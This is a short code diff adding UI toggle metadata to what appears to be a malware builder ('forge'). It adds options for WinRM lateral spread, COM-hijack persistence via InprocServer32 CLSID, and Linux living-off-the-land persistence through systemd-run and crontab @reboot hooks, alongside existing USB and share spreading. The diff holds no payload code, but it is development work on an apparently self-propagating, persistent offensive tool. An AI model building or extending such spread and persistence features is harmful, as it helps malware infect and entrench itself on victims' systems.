Add forge spread toggles for WinRM and Linux LOTL

server/web/src/help/forgeRules.ts

@@ -422,6 +422,34 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
     remote_aggressive: { disabled: false, badge: 'baked' },
     usb_spread: { disabled: false, badge: 'baked' },
     share_spread: { disabled: false, badge: 'baked' },
+    winrm_spread: {
+      disabled: isUnixSingle,
+      badge: 'baked',
+      lockedReason: isUnixSingle
+        ? 'WinRM spread is Windows-only.'
+        : isUniversal
+          ? 'Only baked into the Windows worker inside universal builds.'
+          : undefined,
+      hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
+    },
+    com_hijack_persist: {
+      disabled: isUnixSingle,
+      badge: 'baked',
+      lockedReason: isUnixSingle
+        ? 'COM hijack persistence is Windows-only.'
+        : isUniversal
+          ? 'Only baked into the Windows worker inside universal builds.'
+          : undefined,
+      hint: isUniversal ? 'Windows agents only — high-friction persistence via InprocServer32 CLSID hijack.' : undefined,
+    },
+    linux_lotl_mode: {
+      disabled: isWindowsOnly,
+      badge: 'baked',
+      lockedReason: isWindowsOnly
+        ? 'Linux LOTL persistence applies to Linux/universal builds only.'
+        : undefined,
+      hint: isUniversal ? 'Linux worker only — systemd-run --user and/or crontab @reboot hooks after install.' : undefined,
+    },
     target_os: {
       disabled: isSpreadKit || isFusion,
       badge: 'baked',